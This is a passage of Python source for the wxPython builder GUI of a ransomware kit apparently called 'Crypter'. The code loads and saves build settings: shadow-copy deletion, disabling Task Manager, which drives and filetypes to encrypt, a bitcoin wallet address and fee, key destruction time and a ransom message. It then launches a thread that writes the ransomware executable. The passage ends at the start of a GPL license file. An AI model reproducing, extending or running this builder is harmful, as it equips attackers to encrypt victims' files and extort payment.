The config dict loaded from the build config file, if any 92 | ''' 93 | 94 | # Parse values 95 | # Builder Language 96 | self.BuilderLanguageChoice.SetString(0, DEFAULT_LANGUAGE) 97 | # Debug Level 98 | if "debug_level" in config_dict: 99 | self.DebugLevelChoice.SetSelection( 100 | self.DebugLevelChoice.FindString(config_dict["debug_level"]) 101 | ) 102 | else: 103 | self.DebugLevelChoice.SetSelection(0) 104 | # PyInstaller AES Key 105 | if "pyinstaller_aes_key" in config_dict: 106 | self.PyInstallerAesKeyTextCtrl.SetValue(config_dict["pyinstaller_aes_key"].upper()) 107 | else: 108 | self.PyInstallerAesKeyTextCtrl.SetValue("") 109 | # File Icon 110 | if "icon_file" in config_dict: 111 | self.IconFilePicker.SetPath(config_dict["icon_file"]) 112 | else: 113 | self.IconFilePicker.SetPath("") 114 | # UPX Packer dir 115 | if "upx_dir" in config_dict: 116 | self.UpxDirPicker.SetPath(config_dict["upx_dir"]) 117 | else: 118 | self.UpxDirPicker.SetPath("") 119 | # Open GUI On Login 120 | if "open_gui_on_login" in config_dict: 121 | self.OpenGuiOnLoginCheckbox.SetValue(config_dict["open_gui_on_login"]) 122 | else: 123 | self.OpenGuiOnLoginCheckbox.SetValue(BUILDER_CONFIG_ITEMS["open_gui_on_login"]["default"]) 124 | # Time Delay 125 | if "time_delay" in config_dict: 126 | self.TimeDelayTextCtrl.SetValue(config_dict["time_delay"]) 127 | else: 128 | self.TimeDelayTextCtrl.SetValue("") 129 | # Delete Shadow Copies 130 | if "delete_shadow_copies" in config_dict: 131 | self.DeleteShadowCopiesCheckbox.SetValue(config_dict["delete_shadow_copies"]) 132 | else: 133 | self.DeleteShadowCopiesCheckbox.SetValue(BUILDER_CONFIG_ITEMS["delete_shadow_copies"]["default"]) 134 | # Disable Task Manager 135 | if "disable_task_manager" in config_dict: 136 | self.DisableTaskManagerCheckbox.SetValue(config_dict["disable_task_manager"]) 137 | else: 138 | self.DisableTaskManagerCheckbox.SetValue(BUILDER_CONFIG_ITEMS["disable_task_manager"]["default"]) 139 | # GUI Title 140 | if "gui_title" in config_dict: 141 | self.GuiTitleTextCtrl.SetValue(config_dict["gui_title"]) 142 | else: 143 | self.GuiTitleTextCtrl.SetValue("") 144 | # Key Destruction time 145 | if "key_destruction_time" in config_dict: 146 | self.KeyDestructionTimeTextCtrl.SetValue(config_dict["key_destruction_time"]) 147 | else: 148 | self.KeyDestructionTimeTextCtrl.SetValue("") 149 | # Wallet Address 150 | if "wallet_address" in config_dict: 151 | self.WalletAddressTextCtrl.SetValue(config_dict["wallet_address"]) 152 | else: 153 | self.WalletAddressTextCtrl.SetValue("") 154 | # Bitcoin Fee 155 | if "bitcoin_fee" in config_dict: 156 | self.BitcoinFeeTextCtrl.SetValue(config_dict["bitcoin_fee"]) 157 | else: 158 | self.BitcoinFeeTextCtrl.SetValue("") 159 | # Encrypt Attached Drives 160 | if "encrypt_attached_drives" in config_dict: 161 | self.EncryptAttachedDrivesCheckbox.SetValue(config_dict["encrypt_attached_drives"]) 162 | else: 163 | self.EncryptAttachedDrivesCheckbox.SetValue(BUILDER_CONFIG_ITEMS["encrypt_attached_drives"]["default"]) 164 | # Encrypt User Home 165 | if "encrypt_user_home" in config_dict: 166 | self.EncryptUserHomeCheckbox.SetValue(config_dict["encrypt_user_home"]) 167 | else: 168 | self.EncryptUserHomeCheckbox.SetValue(BUILDER_CONFIG_ITEMS["encrypt_user_home"]["default"]) 169 | # Max file size to encrypt 170 | if "max_file_size_to_encrypt" in config_dict: 171 | self.MaxFileSizeTextCtrl.SetValue(config_dict["max_file_size_to_encrypt"]) 172 | else: 173 | self.MaxFileSizeTextCtrl.SetValue("") 174 | # Filetypes to encrypt 175 | if "filetypes_to_encrypt" in config_dict: 176 | filetypes = ",".join(config_dict["filetypes_to_encrypt"]) 177 | self.FiletypesToEncryptTextCtrl.SetValue(filetypes) 178 | else: 179 | self.FiletypesToEncryptTextCtrl.SetValue("") 180 | # Encrypted File Extension 181 | if "encrypted_file_extension" in config_dict: 182 | self.EncryptedFileExtensionTextCtrl.SetValue(config_dict["encrypted_file_extension"]) 183 | else: 184 | self.EncryptedFileExtensionTextCtrl.SetValue("") 185 | # Make GUI Resizeable 186 | if "make_gui_resizeable" in config_dict: 187 | self.MakeGuiResizeableCheckbox.SetValue(config_dict["make_gui_resizeable"]) 188 | else: 189 | self.MakeGuiResizeableCheckbox.SetValue(BUILDER_CONFIG_ITEMS["make_gui_resizeable"]["default"]) 190 | # Always on Top 191 | if "always_on_top" in config_dict: 192 | self.AlwaysOnTopCheckbox.SetValue(config_dict["always_on_top"]) 193 | else: 194 | self.AlwaysOnTopCheckbox.SetValue(BUILDER_CONFIG_ITEMS["always_on_top"]["default"]) 195 | if "background_colour" in config_dict: 196 | self.BackgroundColourPicker.SetColour(wx.Colour( 197 | config_dict["background_colour"][0], 198 | config_dict["background_colour"][1], 199 | config_dict["background_colour"][2] 200 | ) 201 | ) 202 | if "heading_font_colour" in config_dict: 203 | self.HeadingFontColourPicker.SetColour(wx.Colour( 204 | config_dict["heading_font_colour"][0], 205 | config_dict["heading_font_colour"][1], 206 | config_dict["heading_font_colour"][2] 207 | ) 208 | ) 209 | if "primary_font_colour" in config_dict: 210 | self.PrimaryFontColourPicker.SetColour(wx.Colour( 211 | config_dict["primary_font_colour"][0], 212 | config_dict["primary_font_colour"][1], 213 | config_dict["primary_font_colour"][2] 214 | ) 215 | ) 216 | if "secondary_font_colour" in config_dict: 217 | self.SecondaryFontColourPicker.SetColour(wx.Colour( 218 | config_dict["secondary_font_colour"][0], 219 | config_dict["secondary_font_colour"][1], 220 | config_dict["secondary_font_colour"][2] 221 | ) 222 | ) 223 | # Ransom Message 224 | if "ransom_message" in config_dict: 225 | self.RansomMessageTextCtrl.SetValue(config_dict["ransom_message"]) 226 | else: 227 | self.RansomMessageTextCtrl.SetValue("") 228 | 229 | 230 | def __save_config(self, event): 231 | ''' 232 | @summary: Saves the configuration/user input data to the configuration file 233 | ''' 234 | # If not saved, used currently loaded config file path 235 | if self.SaveFilePicker.GetPath(): 236 | self.config_file_path = self.SaveFilePicker.GetPath() 237 | 238 | # Get data from form 239 | user_input_dict = self.__get_input_data() 240 | 241 | # Parse filetypes to encrypt 242 | # Remove any trailing and leading spaces, dots 243 | user_input_dict["filetypes_to_encrypt"] = user_input_dict["filetypes_to_encrypt"].split(",") 244 | for index in range(len(user_input_dict["filetypes_to_encrypt"])): 245 | user_input_dict["filetypes_to_encrypt"][index] = user_input_dict["filetypes_to_encrypt"][index].strip().strip(".") 246 | 247 | # Parse encrypted file extension 248 | user_input_dict["encrypted_file_extension"] = user_input_dict["encrypted_file_extension"].strip(".") 249 | 250 | # Try to write the config to file 251 | try: 252 | with open(self.config_file_path, "w") as config_file_handle: 253 | json.dump(user_input_dict, config_file_handle, indent=6) 254 | self.console.log(msg="Build configuration successfully saved to file %s" 255 | % self.config_file_path) 256 | self.StatusBar.SetStatusText("Config Saved To %s" % self.config_file_path) 257 | self.__build_config_file = self.config_file_path 258 | self.__update_loaded_config_file() 259 | except Exception as ex: 260 | self.console.log(msg="The configuration could not be saved to %s: %s" 261 | % (self.config_file_path, ex), 262 | ccode=ERROR_CANNOT_WRITE 263 | ) 264 | self.StatusBar.SetStatusText("Error saving configuration file %s" % self.config_file_path) 265 | self.config_file_path = None 266 | 267 | 268 | 269 | def __load_config(self, event): 270 | ''' 271 | @summary: Loads builder config from file and updates the form values 272 | @param self.config_file_path: The path of the config file to load 273 | ''' 274 | config_dict = {} 275 | self.config_file_path = self.LoadFilePicker.GetPath() 276 | self.__reset_label_warnings() 277 | 278 | 279 | # Try to load config file and update the GUI 280 | try: 281 | with open(self.config_file_path, "r") as config_file_handle: 282 | config_dict = json.load(config_file_handle) 283 | self.console.log(msg="Build configuration successfully loaded from %s" 284 | % self.config_file_path) 285 | self.StatusBar.SetStatusText("Config Loaded From %s" % self.config_file_path) 286 | self.__build_config_file = self.config_file_path 287 | self.__update_loaded_config_file() 288 | except Exception as ex: 289 | self.console.log(msg="The specified configuration file at %s could not be loaded: %s" 290 | % (self.config_file_path, ex), 291 | ccode=ERROR_INVALID_CONFIG_FILE 292 | ) 293 | self.StatusBar.SetStatusText("Error loading configuration file %s" % self.config_file_path) 294 | self.config_file_path = None 295 | 296 | # Update the GUI 297 | self.update_config_values(config_dict) 298 | 299 | return config_dict 300 | 301 | 302 | def __update_loaded_config_file(self): 303 | ''' 304 | @summary: Updates the value of the "Loaded Config" 305 | ''' 306 | 307 | # Truncate path if too long 308 | if len(self.__build_config_file) >= 30: 309 | formatted_path = "..." + self.__build_config_file[-27:] 310 | else: 311 | formatted_path = self.__build_config_file 312 | 313 | self.CurrentConfigFile.SetLabel(formatted_path) 314 | self.HeaderPanel.Layout() 315 | 316 | 317 | def __open_containing_folder(self, event): 318 | ''' 319 | @summary: Opens explorer in the "bin" directory where the Crypter binary is written 320 | ''' 321 | 322 | subprocess.Popen(r'explorer ".\bin"') 323 | 324 | 325 | def set_events(self): 326 | ''' 327 | @summary: Set GUI events for the various controls 328 | ''' 329 | 330 | # Catch Language choice changes 331 | self.Bind(wx.EVT_CHOICE, self.update_language, self.BuilderLanguageChoice) 332 | 333 | # Catch config file load and save 334 | self.Bind(wx.EVT_FILEPICKER_CHANGED, self.__load_config, self.LoadFilePicker) 335 | self.Bind(wx.EVT_FILEPICKER_CHANGED, self.__save_config, self.SaveFilePicker) 336 | 337 | # BUILD button 338 | self.Bind(wx.EVT_BUTTON, self.__start_build, self.BuildButton) 339 | 340 | # Mainframe close 341 | self.Bind(wx.EVT_CLOSE, self.__close_builder, self) 342 | 343 | # Disable Open Containing Folder Button and bind event 344 | self.OpenContainingFolderButton.Disable() 345 | self.Bind(wx.EVT_BUTTON, self.__open_containing_folder, self.OpenContainingFolderButton) 346 | 347 | 348 | def __close_builder(self, event): 349 | ''' 350 | @summary: Method to catch close events and close the builder gracefully 351 | ''' 352 | 353 | # Stop builder and exit 354 | self.__stop_build(None) 355 | self.Destroy() 356 | 357 | 358 | def update_language(self, event, language=None): 359 | ''' 360 | @summary: Updates the Builder GUI language to the selected choice 361 | @param language: The language to change the form to. This is only provided when 362 | called directly, and not through a wx Event 363 | @todo: Finish when support for multiple languages has been enabled for the Builder 364 | ''' 365 | 366 | if not event: 367 | if language == "English": 368 | self.language = "English" 369 | #print("Changing language to English") 370 | 371 | 372 | def __update_progress(self, msg): 373 | ''' 374 | @summary: Updates the GUI with the build progress and status 375 | ''' 376 | 377 | # Log output message to the Console 378 | self.console.log(debug_level=msg["debug_level"], 379 | _class=msg["_class"], 380 | msg=msg["msg"], 381 | ccode=msg["ccode"], 382 | timestamp=msg["timestamp"]) 383 | 384 | # CHECK FOR ERRORS 385 | # If there was a validation error, highlight culprit field label 386 | if msg["ccode"] == ERROR_INVALID_DATA: 387 | # Set input field label FG to red 388 | label_object_name = BUILDER_CONFIG_ITEMS[msg["invalid_input_field"]]["label_object_name"] 389 | self.__set_label_colour(label_object_name, colour="red") 390 | 391 | # If build is not in progress, Reset BUILD Button and set outcome message 392 | if ( 393 | (self.__builder and not self.__builder.is_in_progress()) and 394 | (self.__builder.finished_with_error() or self.__builder.finished_with_success() or self.__builder.finished_with_stop()) 395 | ): 396 | # Set final output message and destroy the thread 397 | if self.__builder.finished_with_error(): 398 | self.console.log(msg="Build finished with error") 399 | self.StatusBar.SetStatusText("Build Failed...") 400 | elif self.__builder.finished_with_success(): 401 | self.console.log(msg="Build successful") 402 | self.console.log(msg="Crypter exe written to '%s'" % self.__builder.get_exe_location()) 403 | self.StatusBar.SetStatusText("Build Successful...") 404 | # Enable "Open Containing Folder" Button 405 | self.OpenContainingFolderButton.Enable() 406 | elif self.__builder.finished_with_stop(): 407 | self.console.log(msg="Build terminated by user") 408 | self.StatusBar.SetStatusText("Build Terminated...") 409 | self.BuildButton.SetLabel("BUILD") 410 | self.Bind(wx.EVT_BUTTON, self.__start_build, self.BuildButton) 411 | 412 | # Update gauge to completion 413 | for percentage in range(0, 150, 50): 414 | self.BuildProgressGauge.SetValue(percentage) 415 | 416 | 417 | def __set_label_colour(self, label_object_name, colour="red"): 418 | ''' 419 | @summary: Sets the specified label text colour and refreshes the object 420 | ''' 421 | 422 | # Set colour string 423 | if colour == "red": 424 | colour_object = "wx.Colour (255,0,0)" 425 | elif colour == "default": 426 | colour_object = "wx.SystemSettings.GetColour( wx.SYS_COLOUR_WINDOWTEXT )" 427 | 428 | # Change foreground colour 429 | exec("self.%s.SetForegroundColour( %s )" % 430 | (label_object_name, colour_object) 431 | ) 432 | # Refresh object appearance 433 | exec("self.%s.Hide()" % label_object_name) 434 | exec("self.%s.Show()" % label_object_name) 435 | 436 | 437 | def __stop_build(self, event): 438 | ''' 439 | @summary: Method to terminate the build process 440 | ''' 441 | 442 | if self.__builder and self.__builder.is_in_progress(): 443 | self.__builder.stop() 444 | 445 | 446 | def __get_input_data(self): 447 | ''' 448 | @summary: Retrieves and returns the user's input data from the GUI form 449 | @return: input data as a dictionary 450 | ''' 451 | 452 | user_input_dict = OrderedDict() 453 | # Builder Language 454 | user_input_dict["builder_language"] = self.BuilderLanguageChoice.GetString( 455 | self.BuilderLanguageChoice.GetSelection() 456 | ) 457 | # PyInstaller AES Key 458 | user_input_dict["pyinstaller_aes_key"] = self.PyInstallerAesKeyTextCtrl.GetValue() 459 | # Icon FIle 460 | user_input_dict["icon_file"] = self.IconFilePicker.GetPath() 461 | # Open GUI On Login 462 | user_input_dict["open_gui_on_login"] = self.OpenGuiOnLoginCheckbox.IsChecked() 463 | # Time Delay 464 | user_input_dict["time_delay"] = self.TimeDelayTextCtrl.GetValue() 465 | # GUI Title 466 | user_input_dict["gui_title"] = self.GuiTitleTextCtrl.GetValue() 467 | # UPX Packer Dir 468 | user_input_dict["upx_dir"] = self.UpxDirPicker.GetPath() 469 | # Delete Shadow Copies 470 | user_input_dict["delete_shadow_copies"] = self.DeleteShadowCopiesCheckbox.IsChecked() 471 | # Disable Task Manager 472 | user_input_dict["disable_task_manager"] = self.DisableTaskManagerCheckbox.IsChecked() 473 | # Key Destruction Time 474 | user_input_dict["key_destruction_time"] = self.KeyDestructionTimeTextCtrl.GetValue() 475 | # Wallet Address 476 | user_input_dict["wallet_address"] = self.WalletAddressTextCtrl.GetValue() 477 | # Bitcoin Fee 478 | user_input_dict["bitcoin_fee"] = self.BitcoinFeeTextCtrl.GetValue() 479 | # Encrypt Attached Drives 480 | user_input_dict["encrypt_attached_drives"] = self.EncryptAttachedDrivesCheckbox.IsChecked() 481 | # Encrypt User Home 482 | user_input_dict["encrypt_user_home"] = self.EncryptUserHomeCheckbox.IsChecked() 483 | # Max file size to encrypt 484 | user_input_dict["max_file_size_to_encrypt"] = self.MaxFileSizeTextCtrl.GetValue() 485 | # Filetypes to encrypt 486 | user_input_dict["filetypes_to_encrypt"] = self.FiletypesToEncryptTextCtrl.GetValue() 487 | # Encrypted File Extension 488 | user_input_dict["encrypted_file_extension"] = self.EncryptedFileExtensionTextCtrl.GetValue() 489 | # GUI Resizeable 490 | user_input_dict["make_gui_resizeable"] = self.MakeGuiResizeableCheckbox.IsChecked() 491 | # Always On Top 492 | user_input_dict["always_on_top"] = self.AlwaysOnTopCheckbox.IsChecked() 493 | # Background Colour 494 | user_input_dict["background_colour"] = self.BackgroundColourPicker.GetColour().Get() 495 | # Heading Font Colour 496 | user_input_dict["heading_font_colour"] = self.HeadingFontColourPicker.GetColour().Get() 497 | # Primary Font Colour 498 | user_input_dict["primary_font_colour"] = self.PrimaryFontColourPicker.GetColour().Get() 499 | # Secondary Font Colour 500 | user_input_dict["secondary_font_colour"] = self.SecondaryFontColourPicker.GetColour().Get() 501 | # Ransom Message 502 | user_input_dict["ransom_message"] = self.RansomMessageTextCtrl.GetValue() 503 | # Debug Level 504 | user_input_dict["debug_level"] = self.DebugLevelChoice.GetString( 505 | self.DebugLevelChoice.GetSelection() 506 | ) 507 | 508 | return user_input_dict 509 | 510 | 511 | def __reset_label_warnings(self): 512 | ''' 513 | @summary: Reset any red label warnings back to their default 514 | ''' 515 | 516 | # Reset all labels to standard foreground colour 517 | for input_field in BUILDER_CONFIG_ITEMS: 518 | if "label_object_name" in BUILDER_CONFIG_ITEMS[input_field]: 519 | label_object_name = BUILDER_CONFIG_ITEMS[input_field]["label_object_name"] 520 | self.__set_label_colour(label_object_name, colour="default") 521 | 522 | 523 | def __start_build(self, event): 524 | ''' 525 | @summary: Launches the validate and build processes 526 | ''' 527 | # Set progress gauge to zero and start progress pulse 528 | self.BuildProgressGauge.SetValue(0) 529 | self.BuildProgressGauge.Pulse() 530 | self.StatusBar.SetStatusText("Running Build...") 531 | self.__reset_label_warnings() 532 | 533 | user_input_dict = self.__get_input_data() 534 | 535 | 536 | # Clear the Console and setup debug 537 | self.console.clear() 538 | self.OpenContainingFolderButton.Disable() 539 | self.Bind(wx.EVT_BUTTON, self.__stop_build, self.BuildButton) 540 | self.BuildButton.SetLabel("STOP") 541 | self.console.log(msg="Build Launched") 542 | self.console.log(msg="DEBUG Level: %s" % user_input_dict["debug_level"]) 543 | self.console.set_debug_level(user_input_dict["debug_level"]) 544 | 545 | 546 | # Create listeners and Launch the Build thread 547 | pub.subscribe(self.__update_progress, "update") 548 | self.__builder = BuilderThread(user_input_dict) 549 | 550 | 551 | 552 | ################### 553 | ## CONSOLE CLASS ## 554 | ################### 555 | class Console(): 556 | ''' 557 | @summary: Provides an interface for the GUI Console window 558 | ''' 559 | 560 | def __init__(self, console): 561 | ''' 562 | @summary: Constructor 563 | @param console: Handle to the wxPython console TextCtrl 564 | ''' 565 | self.__console_box = console 566 | self.__debug_level = "0 - Minimal" 567 | 568 | 569 | def log(self, debug_level=0, _class=None, msg=None, ccode=0, timestamp=True): 570 | ''' 571 | @summary: Logs output to the Console 572 | @param debug_level: The debug level of the message 573 | @param _class: The class that is performing the log 574 | @param msg: The message to log to the Console Text screen 575 | ''' 576 | to_log = "" 577 | 578 | # Add timestamp 579 | if timestamp: 580 | to_log += "[%s]: " % self.__get_timestamp() 581 | 582 | # Add status message 583 | if ccode: 584 | to_log += "(ERROR): " 585 | 586 | # Add class 587 | if _class: 588 | to_log += "%s: " % _class 589 | 590 | # Add message 591 | to_log += "%s" % msg 592 | 593 | # Add the message to the Console box 594 | if msg and debug_level <= int(self.__debug_level[0]): 595 | self.__console_box.AppendText(to_log + "\n") 596 | 597 | 598 | def clear(self): 599 | ''' 600 | @summary: Clears the Console output screen 601 | ''' 602 | 603 | self.__console_box.Clear() 604 | 605 | 606 | def __get_timestamp(self): 607 | ''' 608 | @summary: Return timestamp string 609 | ''' 610 | 611 | current_time = datetime.datetime.now() 612 | time_output = "%s-%s-%s %s:%s:%s" % ( 613 | current_time.year, 614 | current_time.month if current_time.month >= 10 else "0%s" % current_time.month, 615 | current_time.day if current_time.day >= 10 else "0%s" % current_time.day, 616 | current_time.hour if current_time.hour >= 10 else "0%s" % current_time.hour, 617 | current_time.minute if current_time.minute >= 10 else "0%s" % current_time.minute, 618 | current_time.second if current_time.second >= 10 else "0%s" % current_time.second 619 | ) 620 | 621 | return time_output 622 | 623 | 624 | def set_debug_level(self, level): 625 | ''' 626 | @summary: Sets the console logging debug level. Messages below the debug level 627 | will be ignored, and won't be logged to the console. 628 | @param level: The debug level to set to console to. Should be one of the following: 629 | "0 - Minimal" 630 | "1 - Low" 631 | "2 - Medium" 632 | "3 - High" 633 | ''' 634 | 635 | self.__debug_level = level 636 | 637 | 638 | 639 | 640 | 641 | 642 | 643 | 644 | -------------------------------------------------------------------------------- /LICENSE.md: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc.